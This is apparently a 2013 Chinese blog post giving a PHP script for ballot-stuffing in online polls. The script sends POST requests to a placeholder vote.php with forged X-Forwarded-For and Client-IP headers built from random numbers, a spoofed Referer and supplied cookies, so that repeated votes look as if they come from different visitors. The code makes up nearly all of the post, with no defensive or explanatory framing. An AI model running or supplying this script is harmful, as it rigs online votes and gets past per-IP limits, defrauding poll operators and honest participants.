PHP跨站刷票代码

[代码] [PHP]代码

01 function curlrequest($url, $postfield,$referer='',$cookie='') {
02 //http://blog.ddian.cn/?post=855
03  $ip= rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244);
04  $ch = curl_init();
05  curl_setopt($ch, CURLOPT_URL, $url);
06  curl_setopt($ch, CURLOPT_HEADER, 0);
07  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
08  curl_setopt($ch, CURLOPT_POST, 1);
09  curl_setopt($ch, CURLOPT_POSTFIELDS, $postfield);
10  curl_setopt($ch, CURLOPT_COOKIE, $cookie);
11  curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip)); //构造IP
12 curl_setopt($ch, CURLOPT_REFERER, $referer); //构造来路
13  $data = curl_exec($ch); //运行curl
14  curl_close($ch);
15  return $data;
16 }
17 $url='http://xxxxx/vote.php';
18 $ref='http://xxxxx/index.php';
19 $cookies='';//构造你的cookies
20 $postfield=array(
21  'information_id'=>201204211839164950
22 );
23 $postfield = http_build_query($postfield);
24 $result = curlrequest($url, $postfield,$ref,$cookies);
25 echo $result;
posted @ 2013-02-01 13:25  幻星宇  阅读(368)  评论(0编辑  收藏  举报